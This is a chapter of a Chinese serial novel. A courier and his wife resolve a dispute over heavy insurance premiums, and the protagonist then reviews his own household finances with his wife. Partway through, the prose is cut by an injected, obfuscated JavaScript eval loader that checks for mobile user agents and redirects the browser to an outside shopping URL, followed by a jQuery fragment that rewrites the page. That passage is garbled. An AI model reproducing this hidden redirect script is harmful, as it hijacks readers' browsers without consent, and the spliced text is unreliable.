“晚饭是饺子，蒜苗炒鸡蛋，剩的炖白菜。我刚吃了一个饺子，手机又在兜里震。我没掏，但她问了：‘今天收入多少？’我说两百。她问微信转的？我说嗯。她说那你先把那888收回去，下月五号要交保费了。” 王明顿了顿，雨声填满了沉默。 “女儿小美打断她，说先吃饭。但我老婆停不下来。她说前楼老陈肺癌花了四十多万，表姐心梗手术二十万……她说王明，咱们拿什么交？” “我说，咱们现在连‘现在’都快过不去了。” 这句话出口时，王霖看见张娜的肩膀微微一颤。 “我给她算账。”王明的语气依旧平静，“我说你这些年买了多少保险？从三十五岁开始，第一份分红险，后来重疾、医疗、意外、养老……最高峰一年交七万二。十二年，平均一年六万，七十二万。” “七十二万如果没交保险，债可能早还清了。女儿读书不用贷款。咱们或许还能留点底，开个小店。” 年轻情侣中的女孩捂住了嘴。老人轻轻叹了口气。 “我说保险重要，但凡事都有个限度。咱们现在是极限生存模式，每一分钱都得花在刀刃上。刀刃是什么？是今天的饭，是下个月的房租。而不是二十年后的重疾，三十年后的养老。” 雨势渐小。雾气开始消散，山峦的轮廓如底片般缓缓显影。 “那天晚上，我胃疼了一夜。”王明说，“凌晨三点疼醒的。不是绞痛，是钝痛，像有块石头沉在胃底。我知道那是为什么——情绪都积在肠胃里了。生气肚子痛，郁闷没胃口，这话是真的。” 张娜终于抬起头，望向丈夫。她的眼眶红了。 “后来呢？”王霖问。 “后来她给我熬了小米粥。”王明看向妻子，眼神柔软下来，“放了红糖。我一边喝，她一边给我看另一笔账——这些年生病理赔的记录。阑尾炎手术，子宫肌瘤，女儿肺炎……保险总共报了十七万多。” “她说，王明，你算的是钱出去的账，没算钱进来的账。” “她说，虽然交了七十二万，但至少这些年，每次生病咱们从没为钱吵过架。每次从医院回来，说的都是‘幸好有保险’。” 王明停住了。亭子里只剩檐水滴落的声音，嘀嗒，嘀嗒。 “她说保险给过她一样东西——安心。十五年，每天晚上她能睡着，是因为她知道，就算天塌下来，至少治病有钱。” 张娜的眼泪掉下来，砸在怀里的保温杯上，发出细微的轻响。 王明伸出手，紧紧握住妻子的手。 “我们把保单重新理了一遍。”他最终说道，“退了那些华而不实的，只留下四份。年缴保费从六万四降到两万一。退多少，算多少。” “现在她在学家政，一个月两千八。钱不多，但是现钱。看得见，摸得着。” 雾完全散了。阳光从云缝里漏下，一道，又一道，照在湿漉漉的山道上，映出一片晶莹的光泽。 那对年轻情侣起身离开，女孩小声对男孩说：“以后咱们也得好好规划……” 老人拄着登山杖站起，经过时拍了拍王明的肩：“兄弟，都会好的。” 亭子里又只剩下他们三人。 王霖看着这对夫妻，心中似有某根弦被悄然拨动。不是悲伤，亦非同情，而是一种更深沉的共鸣——那是无数普通人，在时代浪潮下用尽全力保持平衡的姿势。 “你们的故事，”他开口，声音微哑，“让我想起很多。” 王明看向他：“你也是……做生意的？” “嗯。做过，败过，现在又从头再来。” “不容易。” “都不容易。” 三人默然坐了片刻。山风拂过，带来雨后松针的清香。远山如黛，云海在脚下缓缓流动，宛如时间的河。 --- 三、肠胃的证言 下山路上，王明的话一直在王霖脑中回响。 “肠胃是人的第二大脑……情绪都积在那里。” 王霖想起自己这些年的胃疼。西安分厂倒闭那夜，他在宾馆卫生间吐得昏天暗地；初次见李见俊时，饭未吃完便胃痉挛；实验室第六十三批失败那晚，他蹲在卫生间，疼得额头抵住冰冷的瓷砖。 身体记得所有压力。肠胃，是最诚实的记录者。 行至山脚，天色已暗。山脚下的古镇亮起星星点点的灯火，青石板路被雨水洗得发亮，倒映着灯笼温暖的红光。他们在一家小面馆共进晚餐——三碗阳春面，一碟卤豆干。 “王师傅，”分别时，王明说道，“谢谢你听我说这些。有些话，跟陌生人反而能说出口。” 王霖颔首：“我也要谢谢你。你的故事……让我想明白一些事。” “什么事？” “关于什么才是重要的。”王霖望向古镇潺潺的河水，“你和你妻子，最终找到了平衡。保险要买，但不能被保险压垮。未来要顾，却不能牺牲现在。” 王明笑了，笑容里有种历经风雨后的通达：“对。就像爬山，不能光盯着山顶，得看好脚下的每一步。摔了，疼了，歇会儿，再走。” 两人握手道别。王明的手依旧粗糙，却握得坚实有力。 张娜对王霖点点头，轻声道：“保重。” “你们也是。” 目送他们的背影消失在古镇幽深的巷弄，王霖独自站在桥上，点燃一支烟。河水在夜色中黑沉沉地流淌，只有岸边灯笼的光碎落在水面上，漾成一片颤动的金红。 他想起自己的家。张莉这些年，是否也背负着未曾言说的压力？女儿菁菁工作后，是否也在默默承担着什么？那些他以为的“我在外面拼，家里就安稳”，或许只是一厢情愿。 每个人，都在自己的战场上，打着属于自己的仗。 商业故事只是容器，他忽然醒悟。真正在其中流动的，是不同生命面对压力时的抉择与挣扎。王明选择送快递、学足疗来撑起一个家；张娜选择用保险抵御对疾病的恐惧；他们的女儿小美选择用沉默来分担父母的重担。 失败与成功从不是运气，而是性格、认知与选择共同作用的结果。 在王明的认知里，责任远比面子重要，故而他可以坦然送快递、做足疗。在张娜的认知里，安全感胜过享受，因此她甘愿省吃俭用购买保险。他们的选择，决定了他们能在生活的暴风雨中，虽摇晃，却始终不曾离散。 王霖的“慢”与“实”，在这个求快、求巧的时代，显得格外笨拙。但正是这份笨拙，让他能蹲下身，看懂一块地，读懂一个人。 他忽然无比渴望回家。不是东海那个家，是商南老家。想看看父亲王老根是否还在院里晾晒辣椒，想闻闻母亲蒸馍时满屋的麦香。想蹲在地头，抓一把泥土，感受那扎实的、永不会背叛的温度。 这是农业文明留给我们最后的遗产——对时间的敬畏，对土地的忠诚，对过程的信仰。 父亲等一季庄稼，从春种到秋收，不急。母亲炖一锅汤，从清晨到黄昏，不躁。他们相信有些东西，快不得。正如王明相信，只要一步一步走，债总能还完；正如张娜相信，只要一天一天省，家总能撑住。 在这个意义上，王霖的斗争，不仅是为了一家公司的存亡，更是为了一种行将消逝的活法，做最后的证言。 他所证言的，是在这个一切皆可被计算、优化、加速的时代，还有一种活法，叫“慢慢来”。还有一种价值，叫“实打实”。还有一种信任，叫“我等你”。 就像老赵等他一个月的新品。就像老孙等他一季的收成。就像王明和张娜，在无数个胃疼的夜晚之后，终于等来了那个珍贵的平衡点。 烟燃尽了。王霖将烟蒂按熄在桥栏杆的烟灰缸里，转身走向车站。 他要回家。回东海，回张莉和女儿身边。然后，继续他的战斗——用他的“慢”，用他的“实”，在这个求快、求巧的世界里，走出一条属于自己的路。 哪怕这条路，仍会让他的胃不时疼一下。 但至少，他走在路上。 --- 四、家的温度 回到东海，已是晚上九点。 推开家门，客厅的灯亮着。张莉坐在沙发上织毛衣，电视开着，音量调得很低。听见门响，她抬起头。 “回来了？” “嗯。” “吃饭没？” “在车上吃了。” 简单的对白，日复一日。但王霖听出了不同——张莉的声音里，有关切悄然流淌，不再是例行公事的问候。 他换了鞋，走到沙发边坐下。张莉将织了一半的毛衣放下，起身走向厨房：“我给你热碗汤。” “不用……” “坐着。”她已走进厨房。 王霖靠在沙发上，合上双眼。黄山的风、雨、雾，王明的讲述，张娜的泪水，山脚下流动的河水……这些画面在脑海中一一回放，又渐渐淡去，最终沉淀下来的，是这个家——略显老旧的沙发，电视里细微的声响，厨房传来锅碗温存的轻碰。 张莉端着一碗鸡汤出来，放在茶几上。汤色清亮，漂着几点油星与翠绿的葱花。 “趁热喝。” 王霖端起碗。温度刚好，微烫。他喝了一口，鸡汤的鲜醇在口中化开，顺着食道滑下，暖意瞬间漫过胸腔。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196376|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次出去，”张莉重新拿起毛衣，“想通什么了？” 王霖放下碗，望向她。灯光下，张莉的发间又添了几缕银丝，眼角的纹路深了。但她织毛衣的手极稳，针脚细密而均匀。 “想通……”他顿了顿，“咱们是不是也该好好理理家里的账？” 张莉的手停了下来：“账？” “嗯。保险，投资，所有的。”王霖说，“我不是要削减，是想看看，哪些是真正需要的，哪些已成了负担。” 张莉凝视着他，良久，嘴角浮起一丝笑意：“你终于想通了。” “什么？” “我早就想跟你说了。”她放下毛衣，“但看你那么忙，压力那么大，怕说了，反给你添堵。” 王霖愣住了。 张莉从茶几抽屉里取出一个文件夹，翻开。“这是咱们家所有的保单和理财合同。我上个月就整理好了，还咨询了做财务规划的同学。” 她指尖划过表格：“这份养老险，要六十五岁才能领，年缴一万二，性价比太低，可以退。这份分红险，十年了，总缴十二万，现在退能拿回九万多，虽亏了些，但钱拿在手里更实在。” 她一页页讲解。哪些该留，哪些可调，哪些必须退。思路清晰，数据确凿。 王霖听着，心中涌起复杂的情愫——有讶异，有歉疚，更有一种深沉的感动。 原来在他不曾觉察的时光里，妻子已默默做了这么多。原来她并非只会忧虑，她也在竭力寻找出路。原来这个家，从来不是他独自在扛。 “你……”他声音有些发涩，“怎么不早说？” “早说？”张莉笑了，笑容里透着女性特有的智慧，“早说，你听得进去吗？那时你满脑子都是公司、产品、市场。我跟你说保险，你只会觉得我在添乱。” 她说得对。王霖心想。那些日子，他确实听不进。他以为家里的事皆是“小事”，公司的事才是“大事”。可他忘了，家才是地基。地基不稳，楼宇再高也会倾覆。 “那现在呢？”他问。 “现在你问了。”张莉合上文件夹，“说明你准备好了。” 她站起身，走到窗边。窗外是东海城的阑珊灯火，远远近近，明明灭灭，宛如撒落人间的星辰。 “王霖，”她背对着他，声音很轻，“我知道你压力大。公司的事，我帮不上忙。但家里的事，我可以管好。你只管往前冲，后面有我。” 王霖的鼻腔骤然一酸。他起身走到妻子身后，轻轻环抱住她。 动作很轻，拥抱却坚实。 张莉的身体微微一僵，随即柔软下来，轻轻靠在他怀中。 两人就这样静静相拥，望着窗外万家灯火。每一盏灯下，都是一个家。每一个家里，都有各自的故事、各自的艰难、各自的坚守。 而他们，是这千万盏灯中的一盏。不算最亮，但一直亮着。 “明天，”王霖说，“咱们一起去保险公司。” “好。” “然后，我带你去吃那家新开的杭帮菜。听说东坡肉做得很地道。” 张莉笑了：“那么贵……” “偶尔一次。”王霖收紧手臂，“咱们也得学会，在还债的路上，看看风景。” 窗外，有夜航的飞机掠过，机翼上的红灯明灭闪烁，像移动的星子。 它正飞向远方。而他们，在这里。 在生活里。 --- 五、气的我肚子痛，郁闷没胃口 深夜，王霖在书房打开了电脑。 他新建一个文档，标题写下：《气的我肚子痛，郁闷没胃口——一个普通家庭的保险故事》。 然后他开始写。写王明与张娜的故事，写腊月二十三那个小年夜，写200块的按摩费与数万元的保险费，写胃疼与泪水，写小米粥与重新整理的保单。 他写得飞快，指尖在键盘上舞动。那些细节自动涌现——王明掌心的老茧，张娜削苹果时专注的侧脸，亭中绵密的雨声，山脚下郑重的告别。 这不是小说，是记录。是一个普通家庭的真实切片，是千万中国家庭可能正在经历的困境。 写至半途，胃忽然抽搐了一下。 王霖停手，按住腹部。隐痛，轻微的痉挛。他喝下两瓶藿香正气水，在卫生间待了半小时，才慢慢缓过气来。肠胃在提醒：你我也在故事之中。 他想起医生的话：肠胃是第二大脑。情绪都积在那里。 这些年，他积压了多少情绪？愤怒、焦虑、不甘、疲惫……它们并未消失，只是沉入胃底，化作时不时的疼痛，化作食不知味，化作深夜里蓦然的清醒。 但今夜，在写完王明的故事后，他忽觉胃里松了一些。仿佛那些淤积的情绪，通过文字，悄然疏解了一部分。 原来写作，亦是一种消化。将生活的硬块细细咀嚼，吞咽，然后在文字里重新生长，化为他人可以理解的模样。 他继续写。写王明最终的领悟：保险要买，但不能被保险压垮。未来要顾，却不能牺牲现在。写张娜那句朴实的话：至少这些年，我每天晚上能睡着。 文末，他添上了自己的感悟： “在这个充满不确定的时代，我们都在寻觅安全感。有人寻于保单，有人寻于存折，有人寻于房契。但或许，真正的安全感不在这些纸面。它在晨起时能安心咽下的早饭里，在深夜归家时始终亮着的那盏灯里，在胃疼时有人递来的一碗热粥里。 ‘气的我肚子痛，郁闷没胃口’——这是身体最诚实的抗议。它在说：你太累了，你太焦虑了，你该停一停了。 停一停，看看身边的人。理一理，什么才是真正重要的。然后，继续往前走。带着调整后的平衡，带着释然后的些许轻松。 生活不会因此变得容易。但至少，胃会舒服一点。” 写完最后一句，王霖向后靠在椅背上，长长地、缓缓地吐出一口气。 窗外，天将破晓。东方的海平面上泛起蟹壳青，继而转成鱼肚白。新的一天，正要开始。 他关闭电脑，走进卧室。轻轻躺下，手无意识地覆在胃部。 那里很平静，很柔软。 没有痉挛，没有疼痛。 只有一种深沉的、疲惫褪去后的安宁。 他闭上眼，在晨光降临前的最后一片黑暗里，沉沉睡去。 这一次，没有梦境。 --- 【第五章·人间烟火·终】 ---跋 写完这一章时，我想起无数个中国家庭，都在“现在”与“未来”的天平上，艰难地寻找着那个微妙的平衡点。 王明与张娜的故事并非孤例，它是一个缩影。 在这个意义上，写作不仅是创作，亦是疗愈——疗愈自身的记忆，也疗愈这个时代共通的焦虑。 愿每个在压力下胃疼的人，都能找到属于他的那碗热粥。 愿每个在深夜里焦虑的人，都能看见那盏为他守候的灯。 这，便是人间烟火——不完美，却真实；不轻松，却值得。 ---